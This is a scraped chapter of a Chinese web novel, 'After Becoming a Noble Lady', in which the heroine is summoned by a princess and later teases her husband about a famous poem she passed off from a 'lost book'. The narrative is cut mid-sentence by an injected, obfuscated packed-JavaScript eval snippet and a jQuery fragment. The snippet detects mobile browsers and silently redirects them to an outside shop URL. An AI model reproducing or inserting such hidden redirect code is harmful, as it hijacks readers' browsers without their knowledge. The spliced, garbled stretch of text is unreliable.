文趣网 > 都市小说 > 成为千金贵女后 > 15. 公主召见。
    还不等沈梦安歇一口气,公主的人就找了上来。

    “公主还请沈小姐一叙。”

    知道跑不掉,沈梦安也不挣扎,跟着人走了。

    对岸的徐子清紧皱着眉,看着视线中的人离开座位被带离。

    “去哪儿?”裴舟看着突然离开的徐子清问。

    但徐子清走太快,并没听到。

    与预想的不同,公主脸上满是笑意,不似针对她的样子喊道:“嫂嫂这边来坐。”

    沈梦安懵得不行,叫我?

    公主见状笑出声,“执笔大人曾教习过本宫,本宫喊子清一声哥哥,叫沈小姐一声嫂子该说得过去。”

    沈梦安也不敢出声答应,也不敢反驳,只好陪着笑点头。

    公主语气关切,问:“本宫听闻嫂嫂不久前落水伤了身体,如今可好些了?”

    宫里的人,心计非同一般。

    刚刚故意针对她,现在又装没事人。

    沈梦安嘴角扬起假笑:“承蒙殿下关心,梦安身体已无大碍。”

    “那便好。”公主点头,表情里有着担忧和疑惑:“未曾想落水还会损伤记忆,嫂嫂怕是多有不便,如今可有恢复些?”

    沈梦安心里生起防备,小心斟酌,不知公主为何突然这么问,总不会是真关心。

    “说来也是奇怪,臣女身体已经无恙,记忆却是未曾回来,竟连些许碎片都没浮现过。”

    公主抬手转了转手上镯子,“半点未曾?”

    沈梦安点头,“半点不曾。”

    “哈哈哈哈”公主突然笑了几声,也不管合不合宜,对刚刚的事解释道:“方才请嫂嫂对诗,是本宫一时兴起,还望嫂嫂莫要见怪。”

    沈梦安简直惶恐,赶紧道:“殿下说笑了,能和殿下对诗是梦安福分,何来见怪。”

    “诶,行了。”

    公主似是觉得无趣,接过侍女递过来的水喝了一口,打断道:“刚才那句‘接天莲叶无穷碧,映日荷花别样红。’是你所作?”

    公主这么问,眼神也毫不掩饰放到了沈梦安身上。

    沈梦安不卑不亢道:“非也。”

    “哦?”明显公主就不信。

    不等她再发问,沈梦安话锋一转,“是臣女早年于一孤本中所见,先人遗著,非梦安所能及。”

    公主这才明白,笑道:“原是如此。”

    难怪能胜过她费大力气找来诗作。

    公主还欲留人,突然一人凑在旁耳语,公主睨了沈梦安几眼,摆手让人走了。

    出来后,沈梦安终于松了口气,可是这公主为何要针对自己?

    刚刚被拦在外面的巧燕赶紧过来,“小姐,没事吧?”

    “没事。”沈梦安摇头,又问:“我们家或者徐家和公主有什么故事吗?”

    巧燕挠头,“姑爷方我不知,但我们同公主殿下并未发生过什么。”

    这就怪了。

    还没回到宴上,沈梦安身旁就围上来了一大批人。

    沈梦安知道是干嘛来的,赶紧开口解释非她所写。

    “这首诗是为送别友人所作,表面写六月西湖荷花最盛时的景象,实则借美景送别友人。”

    “全诗是——毕竟西湖六月中……映日荷花别样红。”

    ……

    人群渐渐散去,其中不乏想一睹孤本真容的,只说孤本枯脆,仅存残篇,概不外示便可。

    毕竟诗句本身就足以证明什么是事实。

    去将展出的诗词看了一遍,并未有沈梦安想要,便带着巧燕走了。

    结果到出口处看到了徐子清和裴舟。

    沈梦安:“你们怎么也走了?”

    徐子清见人出来暗自松了一口气,还是裴舟说道:“看你被叫走了,子清怎么可能坐得住。”

    沈梦安有些诧异地看了徐子清一眼,但也没说什么。

    不过话又说回来,沈梦安觉得有必要问一下,“我未同公主有过嫌隙啊?为何她要针对于我?”

    裴舟瞥了徐子清一眼,见他不打算解释,便主动开口道:“当今圣上独得这一位公主,公主自小想要什么便有什么,独得这一份宠爱。”

    “这你知道吧?”

    沈梦安点头,有所耳闻。

    裴舟便继续道:“公主早年乖顺,但几年前城阳侯谋反,连带着他弟弟平阳侯,也就是公主驸马也被斩首,自此以后性情大变,骄横跋扈,奢享淫逸,还酷爱豢养男宠。”

    “!”沈梦安眼睛都瞪大了,是她想的那个意思吗?

    “但和我有什么关系?”沈梦安不解。

    “和他!”裴舟指着徐子清,“和徐子清有关系!”

    “就徐子清惹得祸,他这个长相,公主嘛,自然也是看上了的。”

    说到这里,一旁的裴舟先笑出了声,“弟妹,哈哈哈我给你说,你知道见到人家公主的时候,子清说了什么吗哈哈哈!”

    裴舟现在想起当初那个画面就憋不住乐。徐子清倒是没觉得,也不拦着裴舟讲他的糗事。

    “子清说,‘殿下面色惨白却颧赤如火,若身体抱恙,还请太医诊治一番才好。’啊哈哈哈哈,那是当时流行的妆容!”

    “本来公主就因为收养男宠一事被人诟病,徐子清这意思就像在说人家公主纵欲过度,太虚了,应该去找太医治治!”

    “弟妹你是没看见,公主的脸刷得一下就黑了!恨不得当场就剜了子清。”

    沈梦安想象了一下那个画面,也觉得好笑,如果自己是公主的话,怕也气都要气死了。

    “我后面问子清到底什么意思?”裴舟捧着腹,“结果徐子清一脸莫名,他说,就那个意思啊,还能有什么意思?他强忍着公主那不对称的眉头,出于好心提醒。”

    “哈哈哈哈”裴舟说,“我当时都要笑疯了,徐子清还一脸看傻子的表情看我,殊不知他自己才是傻的那个。”

    沈梦安笑看着徐子清,大概知道裴舟说得是什么表情了,因为徐子清现在也经常用这种“世人皆醉我独醒”的表情看她。

    “对对!”裴舟用折扇指着徐子清,“就现在这个表情。”

    沈梦安看着也忍不住大笑:“哈哈哈哈一模一样!”

    徐子清看着大笑的两人,无奈叹气,能怎么办?一个自己娘子,一个自己兄弟,有理也说不清,唉,还是走吧。

    回去沈梦安还时不时笑出声,原以为徐子清懒得管她,她也就没收敛。

    结果徐子清叫她过去坐下。

    “干嘛?”沈梦安略有心虚,“我笑笑不行,又不一定是笑你。”

    “再说,你的祸端,引我身上来,我都还没说什么呢!”

    然后徐子清又用那种表情看着沈梦安,沈梦安疯狂按耐自己的笑意,却还是被上扬的嘴角出卖了。

    谁说徐子清冷脸面瘫的,这个表情出现频率不挺高的吗。

    徐子清实在看不下去了,“笑笑得了,没完没了。”

    沈梦安抿嘴,眨眨眼,点头。

    徐子清懒得

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507968|202491||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    再管,直接问他想问的事:“我想问,‘接天莲叶无穷碧,映日荷花别样红’这句诗可是娘子所作?”

    “什么意思?你觉得我写不出来?”

    沈梦安皱眉,虽然确实不是她写的,她也写不出来,但听徐子清这么一问,就是莫名不舒服,有点想生气。

    徐子清一向小看她。

    “子清并非此意。”

    徐子清解释道:“子清知娘子才思过人,是欲求得娘子同意我将此句纳入书中。”

    “此诗精妙,自当流传于世才好。”

    “哦。”那沈梦安又不气了,“我同意了,你写进去吧。”

    “好。”

    徐子清顺势就拿纸笔将诗写下,并在旁记了沈梦安的名,沈梦安刚想说话,徐子清抬头,就问:“敢问娘子此作,构思何由?”

    又问?

    沈梦安狐疑地打量徐子清,十分怀疑徐子清知道这诗不是她写的,故意装蒜。

    装蒜而已,沈梦安也会!

    沈梦安一本正经的胡说八道:“创作思路是吧,就我看着满塘的荷花荷叶,觉得荷叶连在一起力大无穷,比天还大的感觉。”

    “然后荷花嘛,金灿灿的,又红彤彤的,就像太阳晒屁股一样,所以映日嘛。”

    徐子清边听边写,越写越觉得不对劲,“荷叶力大无穷?”

    “可不嘛”沈梦安装无辜,“绿油油一大片。”

    “那……太阳晒屁股?”

    “对呀,太阳晒屁股!”沈梦安眨眨眼,双手比划太阳,又比划照下来的光。

    徐子清看沈梦安表情认真,虽然十分有九分的不对,但他还是把沈梦安放在了剩下的一分里。

    徐子清就这样一笔一划把沈梦安信口胡诌八扯的话工工整整记了下来。

    沈梦安看着那一手好字,再看那一手好字里面的“力大无穷”和“太阳晒屁股”,再看看徐子清。

    她确认了,徐子清是傻的。

    她拿过徐子清写好的纸高高举起,月光透过纸浆能分辨笔墨走向,然后她又看向徐子清,“没写好,重写。”

    徐子清也觉得没写好,刚刚中途落笔犹豫,还有片刻的分心。

    于是他打起十二分精神,重新将诗誊抄,蘸墨将落笔沈字时,沈梦安突然出声:“写扬万里。”

    “嗯?”徐子清抬头。

    “不会写吗?”沈梦安拿过他手上的笔就开写。

    徐子清看着横在上面的“扬万里”三个字。

    “……”不知道说什么。

    唉,能怎么办?自己娘子。

    最后还是沈梦安自己没憋住,笑出了声。

    然后她笑着给徐子清道歉,老老实实说诗不是她写的,是她在孤本上看到的。

    这徐子清就要问了:“孤本呢?”

    沈梦安:“掉了。”

    徐子清:“掉了?!”

    “就是找不到了嘛!”

    沈梦安试图解释:“你也知道,孤本枯脆,本就只余几张残页,这一不小心就很容易不见。”

    “就当柴火烧了也不定。”她故意喃喃。

    徐子清声音陡得抬高:“当柴火烧了?!”

    沈梦安点头。

    徐子清:“简直暴殄天物!!”

    沈梦安:“就是说嘛!暴殄天物!”

    徐子清:“不识好歹!”

    沈梦安:“真是不识好歹!”

    徐子清气得甩袖而去!沈梦安则笑趴在桌子上。